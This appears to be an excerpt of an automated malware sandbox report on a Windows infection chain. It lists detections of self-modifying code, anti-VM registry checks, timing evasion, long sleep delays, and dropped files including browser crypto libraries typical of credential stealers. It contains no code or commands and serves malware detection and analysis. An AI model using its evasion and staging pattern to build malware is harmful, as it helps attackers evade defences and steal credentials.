Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 12EC9D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Special instruction interceptor: First address: E3BC31 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Special instruction interceptor: First address: 1074616 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019456001\48a114f480.exe	Special instruction interceptor: First address: 167FAF9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019456001\48a114f480.exe	Special instruction interceptor: First address: 167D6BE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019456001\48a114f480.exe	Special instruction interceptor: First address: 18BA5CC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019457001\fde7a493e9.exe	Special instruction interceptor: First address: 81CD57 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019457001\fde7a493e9.exe	Special instruction interceptor: First address: 9B8C72 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019457001\fde7a493e9.exe	Special instruction interceptor: First address: 9B7B93 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019457001\fde7a493e9.exe	Special instruction interceptor: First address: 9E3E88 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019457001\fde7a493e9.exe	Special instruction interceptor: First address: A4A6CB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Special instruction interceptor: First address: 137B0B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Special instruction interceptor: First address: 137BF8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Special instruction interceptor: First address: 302FDA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Special instruction interceptor: First address: 2EDE14 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Special instruction interceptor: First address: 36272C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	Special instruction interceptor: First address: CDFE59 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	Special instruction interceptor: First address: F11A80 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019462001\3c08a943ba.exe	Special instruction interceptor: First address: 35DF0E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019462001\3c08a943ba.exe	Special instruction interceptor: First address: 50A707 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019462001\3c08a943ba.exe	Special instruction interceptor: First address: 508C41 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019462001\3c08a943ba.exe	Special instruction interceptor: First address: 35B12E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019462001\3c08a943ba.exe	Special instruction interceptor: First address: 599CD7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Special instruction interceptor: First address: C97CAA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Special instruction interceptor: First address: C97DAD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Special instruction interceptor: First address: E2D7FD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Special instruction interceptor: First address: EC2DF2 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Memory allocated: 1010000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Memory allocated: 2A60000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Memory allocated: 2870000 memory reserve \| memory write watch
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Memory allocated: 24721120000 memory reserve \| memory write watch
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Memory allocated: 2473AD00000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1019462001\3c08a943ba.exe	Memory allocated: 54C0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1019462001\3c08a943ba.exe	Memory allocated: 5730000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1019462001\3c08a943ba.exe	Memory allocated: 54C0000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04C00C14 rdtsc

0_2_04C00C14

Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Thread delayed: delay time: 922337203685477
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Thread delayed: delay time: 922337203685477
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1019462001\3c08a943ba.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 358	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1211	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1233	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1237	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1230	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1240	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1243	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Window / User API: threadDelayed 1156	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Window / User API: threadDelayed 1178	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Window / User API: threadDelayed 1154	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Window / User API: threadDelayed 1082	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Window / User API: threadDelayed 1168	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Window / User API: threadDelayed 1188	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Window / User API: threadDelayed 1150	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Window / User API: threadDelayed 3090
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Window / User API: threadDelayed 6715
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6711
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3020
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7958
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1620
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Window / User API: threadDelayed 588
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Window / User API: threadDelayed 764
Source: C:\Users\user\AppData\Local\Temp\1019457001\fde7a493e9.exe	Window / User API: threadDelayed 1155
Source: C:\Users\user\AppData\Local\Temp\1019457001\fde7a493e9.exe	Window / User API: threadDelayed 1139
Source: C:\Users\user\AppData\Local\Temp\1019457001\fde7a493e9.exe	Window / User API: threadDelayed 1146
Source: C:\Users\user\AppData\Local\Temp\1019457001\fde7a493e9.exe	Window / User API: threadDelayed 1138
Source: C:\Users\user\AppData\Local\Temp\1019457001\fde7a493e9.exe	Window / User API: threadDelayed 1155
Source: C:\Users\user\AppData\Local\Temp\1019457001\fde7a493e9.exe	Window / User API: threadDelayed 1150
Source: C:\Users\user\AppData\Local\Temp\1019457001\fde7a493e9.exe	Window / User API: threadDelayed 1122
Source: C:\Users\user\AppData\Local\Temp\1019457001\fde7a493e9.exe	Window / User API: threadDelayed 1144
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Window / User API: threadDelayed 665
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Window / User API: threadDelayed 646
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Window / User API: threadDelayed 677
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Window / User API: threadDelayed 665
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Window / User API: threadDelayed 614
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Window / User API: threadDelayed 682
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Window / User API: threadDelayed 655
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	Window / User API: threadDelayed 590
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	Window / User API: threadDelayed 576
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	Window / User API: threadDelayed 580
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	Window / User API: threadDelayed 589
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	Window / User API: threadDelayed 558
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	Window / User API: threadDelayed 580
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	Window / User API: threadDelayed 589

Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[3].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[4].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1019466001\6253581e35.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1019467001\ec04af5574.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1019464001\ebd07c8db5.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\UKzjyWlrjRLOjKNNlNHI.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[4].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019458001\906ea9c047.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\main\7z.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\service123.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1019465001\b73717b60b.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[4].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3940	Thread sleep count: 358 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3940	Thread sleep time: -716358s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2996	Thread sleep count: 1211 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2996	Thread sleep time: -2423211s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8168	Thread sleep count: 249 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8168	Thread sleep time: -7470000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2312	Thread sleep count: 1233 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2312	Thread sleep time: -2467233s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2304	Thread sleep count: 1237 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2304	Thread sleep time: -2475237s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8188	Thread sleep count: 1230 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8188	Thread sleep time: -2461230s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2056	Thread sleep count: 1240 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2056	Thread sleep time: -2481240s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8180	Thread sleep count: 1243 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8180	Thread sleep time: -2487243s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe TID: 7488	Thread sleep time: -2313156s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe TID: 6924	Thread sleep time: -2357178s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe TID: 7360	Thread sleep time: -40000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe TID: 7468	Thread sleep time: -2309154s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe TID: 7480	Thread sleep time: -2165082s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe TID: 7496	Thread sleep time: -2337168s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe TID: 1508	Thread sleep time: -2377188s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe TID: 7500	Thread sleep time: -2301150s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe TID: 7624	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe TID: 7608	Thread sleep time: -33204139332677172s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe TID: 7608	Thread sleep time: -100000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe TID: 7608	Thread sleep time: -99870s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe TID: 7608	Thread sleep time: -99750s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe TID: 7608	Thread sleep time: -99640s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe TID: 7608	Thread sleep time: -99531s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe TID: 7608	Thread sleep time: -99422s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe TID: 7608	Thread sleep time: -99312s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe TID: 7608	Thread sleep time: -99203s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe TID: 7608	Thread sleep time: -99093s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe TID: 7608	Thread sleep time: -98984s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe TID: 7608	Thread sleep time: -98875s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe TID: 7608	Thread sleep time: -98765s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe TID: 7608	Thread sleep time: -98656s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe TID: 7608	Thread sleep time: -98523s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe TID: 7608	Thread sleep time: -98405s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe TID: 7608	Thread sleep time: -98288s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe TID: 7608	Thread sleep time: -98156s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe TID: 7608	Thread sleep time: -98047s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe TID: 7608	Thread sleep time: -97937s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe TID: 7608	Thread sleep time: -97828s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe TID: 7608	Thread sleep time: -97719s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe TID: 7608	Thread sleep time: -97595s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe TID: 7608	Thread sleep time: -97469s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe TID: 7608	Thread sleep time: -97359s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe TID: 7608	Thread sleep time: -97218s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe TID: 7608	Thread sleep time: -97089s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe TID: 7608	Thread sleep time: -96491s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe TID: 7608	Thread sleep time: -96358s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe TID: 7608	Thread sleep time: -96229s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe TID: 7608	Thread sleep time: -96109s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe TID: 7608	Thread sleep time: -96000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe TID: 7608	Thread sleep time: -95883s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe TID: 7608	Thread sleep time: -95780s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe TID: 7608	Thread sleep time: -95656s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe TID: 7608	Thread sleep time: -95547s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe TID: 7608	Thread sleep time: -95437s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe TID: 7608	Thread sleep time: -95328s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe TID: 7608	Thread sleep time: -95217s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe TID: 7608	Thread sleep time: -95094s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe TID: 7608	Thread sleep time: -94984s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe TID: 7608	Thread sleep time: -94875s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe TID: 7608	Thread sleep time: -94765s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe TID: 7608	Thread sleep time: -94656s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe TID: 7608	Thread sleep time: -94547s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe TID: 7608	Thread sleep time: -94435s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe TID: 7608	Thread sleep time: -94344s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe TID: 7608	Thread sleep time: -94222s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe TID: 7608	Thread sleep time: -93709s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe TID: 7608	Thread sleep time: -93557s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7704	Thread sleep count: 6711 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7708	Thread sleep count: 3020 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7744	Thread sleep time: -5534023222112862s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2144	Thread sleep count: 7958 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2144	Thread sleep count: 1620 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7900	Thread sleep time: -4611686018427385s >= -30000s
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe TID: 4116	Thread sleep time: -922337203685477s >= -30000s
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe TID: 1060	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe TID: 6756	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7928	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 1456	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019457001\fde7a493e9.exe TID: 1784	Thread sleep count: 1155 > 30
Source: C:\Users\user\AppData\Local\Temp\1019457001\fde7a493e9.exe TID: 1784	Thread sleep time: -2311155s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019457001\fde7a493e9.exe TID: 1464	Thread sleep count: 1139 > 30
Source: C:\Users\user\AppData\Local\Temp\1019457001\fde7a493e9.exe TID: 1464	Thread sleep time: -2279139s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019457001\fde7a493e9.exe TID: 2112	Thread sleep count: 1146 > 30
Source: C:\Users\user\AppData\Local\Temp\1019457001\fde7a493e9.exe TID: 2112	Thread sleep time: -2293146s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019457001\fde7a493e9.exe TID: 1892	Thread sleep count: 57 > 30
Source: C:\Users\user\AppData\Local\Temp\1019457001\fde7a493e9.exe TID: 1892	Thread sleep count: 83 > 30
Source: C:\Users\user\AppData\Local\Temp\1019457001\fde7a493e9.exe TID: 1892	Thread sleep count: 86 > 30
Source: C:\Users\user\AppData\Local\Temp\1019457001\fde7a493e9.exe TID: 1892	Thread sleep count: 84 > 30
Source: C:\Users\user\AppData\Local\Temp\1019457001\fde7a493e9.exe TID: 1892	Thread sleep count: 89 > 30
Source: C:\Users\user\AppData\Local\Temp\1019457001\fde7a493e9.exe TID: 3868	Thread sleep time: -32000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019457001\fde7a493e9.exe TID: 2176	Thread sleep count: 1138 > 30
Source: C:\Users\user\AppData\Local\Temp\1019457001\fde7a493e9.exe TID: 2176	Thread sleep time: -2277138s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019457001\fde7a493e9.exe TID: 1820	Thread sleep count: 1155 > 30
Source: C:\Users\user\AppData\Local\Temp\1019457001\fde7a493e9.exe TID: 1820	Thread sleep time: -2311155s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019457001\fde7a493e9.exe TID: 5368	Thread sleep count: 1150 > 30
Source: C:\Users\user\AppData\Local\Temp\1019457001\fde7a493e9.exe TID: 5368	Thread sleep time: -2301150s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019457001\fde7a493e9.exe TID: 1988	Thread sleep count: 1122 > 30
Source: C:\Users\user\AppData\Local\Temp\1019457001\fde7a493e9.exe TID: 1988	Thread sleep time: -2245122s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019457001\fde7a493e9.exe TID: 2024	Thread sleep count: 1144 > 30
Source: C:\Users\user\AppData\Local\Temp\1019457001\fde7a493e9.exe TID: 2024	Thread sleep time: -2289144s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe TID: 2316	Thread sleep count: 665 > 30
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe TID: 2316	Thread sleep time: -1330665s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe TID: 2992	Thread sleep count: 646 > 30
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe TID: 2992	Thread sleep time: -1292646s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe TID: 3692	Thread sleep count: 677 > 30
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe TID: 3692	Thread sleep time: -1354677s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe TID: 1264	Thread sleep time: -44000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe TID: 2328	Thread sleep count: 665 > 30
